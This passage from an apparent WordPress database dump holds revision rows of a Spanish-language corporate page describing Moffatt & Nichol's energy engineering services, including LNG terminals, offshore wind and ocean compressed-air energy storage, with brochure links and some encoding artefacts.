orderby=menu_order theme=construction]\r\n  <div class=\"ports-left\">\r\n    <h3>energía</h3> Como las economías y las políticas medioambientales cambian y se modifican en todo el mundo, el sector de energía debe adaptarse. Durante décadas, Moffatt & Nichol ha sido un consultor líder en la industria que aborda las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa para la industria del petróleo y el gas, desde muelles y dársenas hasta cimentaciones profundas, instalaciones costa afuera flotantes, terminales de carga líquida a granel y de GNL y sistemas de amarre costa afuera. Hemos aprovechado esta experiencia, junto con nuestra familiaridad con los procesos costeros, las soluciones de amortiguación, las estructuras dinámicas y la modelación de cimentaciones, para colaborar con clientes en afrontar los desafíos de proyectos de energía convencional y renovable—desde la infraestructura civil necesaria para la generación de energía convencional hasta el planeamiento y diseño de fuentes más innovadoras tales como el almacenamiento de energía eólica costa afuera, la energía hidrocinética y la energía eólica de aguas profundas.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/energy/energy-services/\">Examinar servicios de energía >></a></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <h3>publicaciones relevantes</h3>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-1.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n        <strong class=\"green-new\">Folleto de Instalaciones marítimas de petróleo y gas	</strong><br />\r\n        Durante décadas, Moffatt & Nichol ha sido un consultor líder en la industria que abordaba las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa de</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/oil-gas-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/OIL%20AND%20GAS%20MAY%202011-PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DESCRIPTIVO DE ENERGÍA EÓLICA</strong><br />\r\n        Moffatt & Nichol está posicionado en forma singular para ayudar a nuestros clientes a afrontar los desafíos de proyectos de desarrollo de energía eólica, tanto en tierra como costa afuera. Combinamos nuestro </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-power-overview-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Power_Overview_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-5.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÑO DE LA SUBESTRUCTURA DE GENERADOR DE TURBINA EÓLICA (WTG) COSTA AFUERA</strong><br />\r\n       Moffatt & Nichol aporta las capacidades y experiencia para diseñar subestructuras optimizadas costa afuera para apoyar el desarrollo</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wtg-substructure-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_WTG_Substructure_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-4.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE PUERTOS DE ACCESO A PARQUES EÓLICOS COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol es la firma principal de planeamiento y diseño para el desarrollo de puertos y terminales marítimas en Norteamérica y es una de las principales firmas a nivel mundial </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-staging-ports-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Staging_Ports_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÑO DE PLATAFORMAS DE SUBESTACIONES ELÉCTRICAS COSTA AFUERA</strong><br />\r\n        El conocimiento de la ingeniería marítima/costa afuera y la comprensión de las necesidades de los parques eólicos costa afuera de Moffatt & Nichol proporciona </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-electrical-substation-platform-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Electrical_Substation_Platform_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE LA GESTIÓN DE PROGRAMA DE PARQUES EÓLICOS COSTA AFUERA</strong><br />\r\n        El desarrollo eólico costa afuera crea muchos desafíos para los desarrolladores. La industria y las regulaciones están en cambio constantemente. Las percepciones </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-program-management-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Program_Management_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-6.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES DE PARQUES EÓLICOS</strong><br />\r\n        Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-farm-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Farm_Commercial_Advisory_Services_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO de Almacenamiento de Energía de Aire Comprimido del Océano (OCAES, por sus siglas en inglés)</strong><br />\r\n        ¿Qué es OCAES? TRES COMPONENTES CLAVE: Innovadora tecnología de compresor/expansor GCAES™ • Con base en la costa • Modular\r\n       </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ocean-compressed-air-energy-storage-bochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OCAES Brochure-PRINTABLE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','EnergÃa','','inherit','open','open','','60-revision-6','','','2012-06-15 08:28:19','2012-06-15 08:28:19','',60,'http://moffattnichol.com/spanish/60-revision-6/',0,'revision','',0),(2499,1,'2012-06-15 08:30:11','2012-06-15 08:30:11','<div class=\"content_faq\"> [anything_slides cat=energy width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n  <div class=\"ports-left\">\r\n    <h3>energía</h3> Como las economías y las políticas medioambientales cambian y se modifican en todo el mundo, el sector de energía debe adaptarse. Durante décadas, Moffatt & Nichol ha sido un consultor líder en la industria que aborda las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa para la industria del petróleo y el gas, desde muelles y dársenas hasta cimentaciones profundas, instalaciones costa afuera flotantes, terminales de carga líquida a granel y de GNL y sistemas de amarre costa afuera. Hemos aprovechado esta experiencia, junto con nuestra familiaridad con los procesos costeros, las soluciones de amortiguación, las estructuras dinámicas y la modelación de cimentaciones, para colaborar con clientes en afrontar los desafíos de proyectos de energía convencional y renovable—desde la infraestructura civil necesaria para la generación de energía convencional hasta el planeamiento y diseño de fuentes más innovadoras tales como el almacenamiento de energía eólica costa afuera, la energía hidrocinética y la energía eólica de aguas profundas.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/energy/energy-services/\">Examinar servicios de energía >></a></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <h3>publicaciones relevantes</h3>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-1.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n        <strong class=\"green-new\">Folleto de Instalaciones marítimas de petróleo y gas	</strong><br />\r\n        Durante décadas, Moffatt & Nichol ha sido un consultor líder en la industria que abordaba las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa de</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/oil-gas-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/OIL%20AND%20GAS%20MAY%202011-PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DESCRIPTIVO DE ENERGÍA EÓLICA</strong><br />\r\n        Moffatt & Nichol está posicionado en forma singular para ayudar a nuestros clientes a afrontar los desafíos de proyectos de desarrollo de energía eólica, tanto en tierra como costa afuera. Combinamos nuestro </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-power-overview-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Power_Overview_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-5.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÑO DE LA SUBESTRUCTURA DE GENERADOR DE TURBINA EÓLICA (WTG) COSTA AFUERA</strong><br />\r\n       Moffatt & Nichol aporta las capacidades y experiencia para diseñar subestructuras optimizadas costa afuera para apoyar el desarrollo</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wtg-substructure-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_WTG_Substructure_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-4.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE PUERTOS DE ACCESO A PARQUES EÓLICOS COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol es la firma principal de planeamiento y diseño para el desarrollo de puertos y terminales marítimas en Norteamérica y es una de las principales firmas a nivel mundial </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-staging-ports-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Staging_Ports_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÑO DE PLATAFORMAS DE SUBESTACIONES ELÉCTRICAS COSTA AFUERA</strong><br />\r\n        El conocimiento de la ingeniería marítima/costa afuera y la comprensión de las necesidades de los parques eólicos costa afuera de Moffatt & Nichol proporciona </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-electrical-substation-platform-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Electrical_Substation_Platform_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE LA GESTIÓN DE PROGRAMA DE PARQUES EÓLICOS COSTA AFUERA</strong><br />\r\n        El desarrollo eólico costa afuera crea muchos desafíos para los desarrolladores. La industria y las regulaciones están en cambio constantemente. Las percepciones </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-program-management-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Program_Management_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-6.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES DE PARQUES EÓLICOS</strong><br />\r\n        Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-farm-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Farm_Commercial_Advisory_Services_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO de Almacenamiento de Energía de Aire Comprimido del Océano (OCAES, por sus siglas en inglés)</strong><br />\r\n        ¿Qué es OCAES? TRES COMPONENTES CLAVE: Innovadora tecnología de compresor/expansor GCAES™ • Con base en la costa • Modular\r\n       </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ocean-compressed-air-energy-storage-bochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OCAES Brochure-PRINTABLE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','EnergÃa','','inherit','open','open','','60-revision-7','','','2012-06-15 08:30:11','2012-06-15 08:30:11','',60,'http://moffattnichol.com/spanish/60-revision-7/',0,'revision','',0),(2500,1,'2012-09-06 13:28:44','2012-09-06 13:28:44','<div class=\"content_faq\">\n<h3>servicios de energía</h3>\n<div class=\"global-services_one\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/liquid-bulk.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"1\">terminales de carga líquida a granel</h1>\nLas instalaciones de terminales marítimas de carga líquida a granel tienen requisitos especiales. Moffatt &amp; Nichol proporciona una gama completa de servicios de planeamiento, diseño y gestión de la construcción para una variedad de sistemas de carga de graneles líquidos, incluyendo terminales marítimas petroleras grandes y pequeñas, instalaciones de descarga de gas licuado de petróleo (GLP), sistemas de amarre de buque tanques de boya múltiple y de amarres de un solo punto costa afuera. Nuestras capacidades de ingeniería comprenden desde el diseño marítimo, civil y estructural hasta sistemas de carga y descarga y sistemas de protección contra incendios, diseño medioambiental, de dragado y de protección costera para instalaciones de carga líquida a granel en todo el mundo.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"border\"></div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/lng-terminal.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"2\">Terminales de GNL</h1>\nDurante décadas, Moffatt &amp; Nichol ha sido un consultor líder en la industria que abordaba las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa para la industria del petróleo y el gas. La firma ofrece una gama completa de servicios de consultoría de ingeniería para el diseño y la gestión de la construcción para instalaciones de gas natural licuado (GNL). Nuestros ingenieros y científicos han participado en casi todos los aspectos del planeamiento y la ingeniería de instalaciones de GNL, desde la etapa previa al estudio FEED y la ingeniería FEED hasta el análisis de tráfico de buques, el dragado y el diseño estructural. Hemos proporcionado estos servicios en más de veinte importantes proyectos de GNL en Asia, África, Canadá, México y los Estados Unidos, en algunos de los ambientes marinos más difíciles del mundo.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"border\"></div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/wind-power.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"3\">Energía eólica costa afuera</h1>\nMoffatt &amp; Nichol está posicionado en forma singular para ayudar a sus clientes a afrontar los desafíos de proyectos de desarrollo de energía eólica, tanto en tierra como costa afuera. Combinamos nuestra experiencia profesional en ingeniería costera, ingeniería estructural y cimentaciones, planeamiento de construcción marítima y desarrollo de instalaciones marítimas, con nuestros servicios de evaluación económica y financieros para ayudar a nuestros clientes a entregar estos proyectos. La industria de la energía eólica debe enfrentar varios desafíos para desarrollar códigos y estándares de diseño que reflejen las condiciones extremas de oleaje y tormentas presentes en muchos lugares de proyectos costa afuera en todo el mundo. Moffatt &amp; Nichol, un líder reconocido internacionalmente en ingeniería costera y marítima/de costa afuera, ayuda a sus clientes a definir y aplicar los criterios de diseño que producirán instalaciones duraderas y operacionalmente confiables. Aportamos nuestra comprobada experiencia profesional interna en una gama completamente integrada de servicios, desde estudios de factibilidad y selección del lugar, hasta el diseño, planeamiento de la construcción y apoyo en las operaciones.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"border\"></div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\"></div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"4\"><a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/ocean-wind-power.jpg\"><img class=\"alignnone size-full wp-image-2710\" title=\"ocean-wind-power\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/ocean-wind-power.jpg\" alt=\"\" width=\"250\" height=\"189\" /></a></h1>\n<h1>Almacenamiento de energía del océano</h1>\nMoffatt &amp; Nichol, en sociedad con General Compression y Scripps Institution of Oceanography, está desarrollando un sistema para el almacenamiento económico de energía a escala de la red eléctrica. La tecnología de Almacenamiento de Energía de Aire Comprimido del Océano (OCAES, por sus siglas en inglés) utiliza la presión de aguas profundas del océano para evitar la necesidad de un costoso recipiente de presión. Los receptores de aire, ventilados al agua de mar, se construyen de concreto y se colocan en el fondo del océano, a una profundidad entre 2.000 y 6.000 pies (600 y 1.800 m). Una tubería conecta el receptor de aire con los módulos de expansión/compresión en tierra. Los módulos propietarios de expansión/compresión desarrollados por General Compression representan un logro tecnológico importante que tiene el potencial de revolucionar el almacenamiento de energía a escala de la red eléctrica. GC está respaldada por Duke Energy, US Renewables Group, ConocoPhillips y otros inversionistas en esta innovadora tecnología. El equipo de GC ha sido designado para obtener energía eólica y hacerla disponible.\n\nLos beneficios principales del sistema incluyen:\n\n• Las estimaciones preliminares indican costos en la gama de $100/kwh, en comparación con las baterías que usualmente cuestan de cuatro a diez veces más • Puede proporcionar en forma económica 100 horas o más de capacidad de almacenamiento • Puede aumentar el factor de carga para un parque eólico típico desde 35% hasta más de 90%, de forma muy económica • La eficiencia total es de 75-80% • Capacidad de arranque en negro • Arranque muy rápido, con la capacidad de cambiar rápidamente entre expansión y compresión, prácticamente eliminando la necesidad de “energía de reserva de respuesta rápida” • Larga vida útil con mantenimiento mínimo\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"border\"></div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/alternative-energy.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"5\">energía alternativa</h1>\nMoffatt &amp; Nichol ofrece a sus clientes una capacidad especial en el área de soluciones de energía alternativa, con prácticas esenciales que reflejan la relación entre el medioambiente y las fuentes de energía innovadora. En el área de la hidrocinética, aplicamos nuestros conocimientos y experiencia profesional en ingeniería costera y en diseño de cuerpos de flotación a las singulares ubicaciones y a los requisitos mecánicos de los sistemas a fin de capturar la energía latente en las olas, corrientes y fuerzas de mareas. De forma similar, los novedosos métodos de almacenamiento de energía aportan un mayor equilibrio entre la oferta y la demanda. Moffatt &amp; Nichol proporciona apoyo de ingeniería costera, civil y estructural para sistemas de almacenamiento de energía en recipientes de contención submarina, haciendo disponible la energía en la red eléctrica cuando es necesaria.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"border\"></div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/power.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h1 id=\"6\">apoyo en proyectos de generación de energía</h1>\nLas instalaciones de generación de energía convencional usualmente requieren gran infraestructura de ingeniería civil, tal como el mejoramiento del terreno, el desarrollo del lugar y una amplia infraestructura de transporte. Moffatt &amp; Nichol proporciona el planeamiento, el diseño y la gestión de la construcción para proyectos de instalaciones de generación de energía, incluyendo el apoyo para la gestión de autorizaciones, apoyo en la construcción civil/estructural, planeamiento y gestión de la construcción y estudios del impacto sobre el medioambiente. La firma también proporciona servicios muy especializados en el análisis y diseño de estructuras de centrales de energía nuclear a fin de determinar la actual integridad estructural de las instalaciones de contención de concreto y de acero del reactor y predecir la futura.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n</div>\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios de energía','','inherit','open','open','','537-autosave','','','2012-09-06 13:28:44','2012-09-06 13:28:44','',537,'http://moffattnichol.com/spanish/537-autosave/',0,'revision','',0),(2501,1,'2011-11-11 14:20:17','2011-11-11 14:20:17','<div class=\"content_faq\">\n  <h3>servicios de energÃa</h3>\n  <div class=\"global-services_one\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/liquid-bulk.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"1\">terminales de carga lÃquida a granel </h1>\n     Las instalaciones de terminales marÃtimas de carga lÃquida a granel tienen requisitos especiales. Moffatt & Nichol proporciona una gama completa de servicios de planeamiento, diseÃ±o y gestiÃ³n de la construcciÃ³n para una variedad de sistemas de carga de graneles lÃquidos, incluyendo terminales marÃtimas petroleras grandes y pequeÃ±as, instalaciones de descarga de gas licuado de petrÃ³leo (GLP), sistemas de amarre de buque tanques de boya mÃºltiple y de amarres de un solo punto costa afuera. Nuestras capacidades de ingenierÃa comprenden desde el diseÃ±o marÃtimo, civil y estructural hasta sistemas de carga y descarga y sistemas de protecciÃ³n contra incendios, diseÃ±o medioambiental, de dragado y de protecciÃ³n costera para instalaciones de carga lÃquida a granel en todo el mundo. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/lng-terminal.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"2\">Terminales de GNL</h1>\n     Durante dÃ©cadas, Moffatt & Nichol ha sido un consultor lÃder en la industria que abordaba las necesidades especÃficas de las terminales marÃtimas costa afuera y cercanas a la costa para la industria del petrÃ³leo y el gas. La firma ofrece una gama completa de servicios de consultorÃa de ingenierÃa para el diseÃ±o y la gestiÃ³n de la construcciÃ³n para instalaciones de gas natural licuado (GNL). Nuestros ingenieros y cientÃficos han participado en casi todos los aspectos del planeamiento y la ingenierÃa de instalaciones de GNL, desde la etapa previa al estudio FEED y la ingenierÃa FEED hasta el anÃ¡lisis de trÃ¡fico de buques, el dragado y el diseÃ±o estructural. Hemos proporcionado estos servicios en mÃ¡s de veinte importantes proyectos de GNL en Asia, Ãfrica, CanadÃ¡, MÃ©xico y los Estados Unidos, en algunos de los ambientes marinos mÃ¡s difÃciles del mundo. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/wind-power.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"3\">EnergÃa eÃ³lica costa afuera</h1>\n   Moffatt & Nichol estÃ¡ posicionado en forma singular para ayudar a sus clientes a afrontar los desafÃos de proyectos de desarrollo de energÃa eÃ³lica, tanto en tierra como costa afuera. Combinamos nuestra experiencia profesional en ingenierÃa costera, ingenierÃa estructural y cimentaciones, planeamiento de construcciÃ³n marÃtima y desarrollo de instalaciones marÃtimas, con nuestros servicios de evaluaciÃ³n econÃ³mica y financieros para ayudar a nuestros clientes a entregar estos proyectos. La industria de la energÃa eÃ³lica debe enfrentar varios desafÃos para desarrollar cÃ³digos y estÃ¡ndares de diseÃ±o que reflejen las condiciones extremas de oleaje y tormentas presentes en muchos lugares de proyectos costa afuera en todo el mundo. Moffatt & Nichol, un lÃder reconocido internacionalmente en ingenierÃa costera y marÃtima/de costa afuera, ayuda a sus clientes a definir y aplicar los criterios de diseÃ±o que producirÃ¡n instalaciones duraderas y operacionalmente confiables. Aportamos nuestra comprobada experiencia profesional interna en una gama completamente integrada de servicios, desde estudios de factibilidad y selecciÃ³n del lugar, hasta el diseÃ±o, planeamiento de la construcciÃ³n y apoyo en las operaciones. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n     <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div 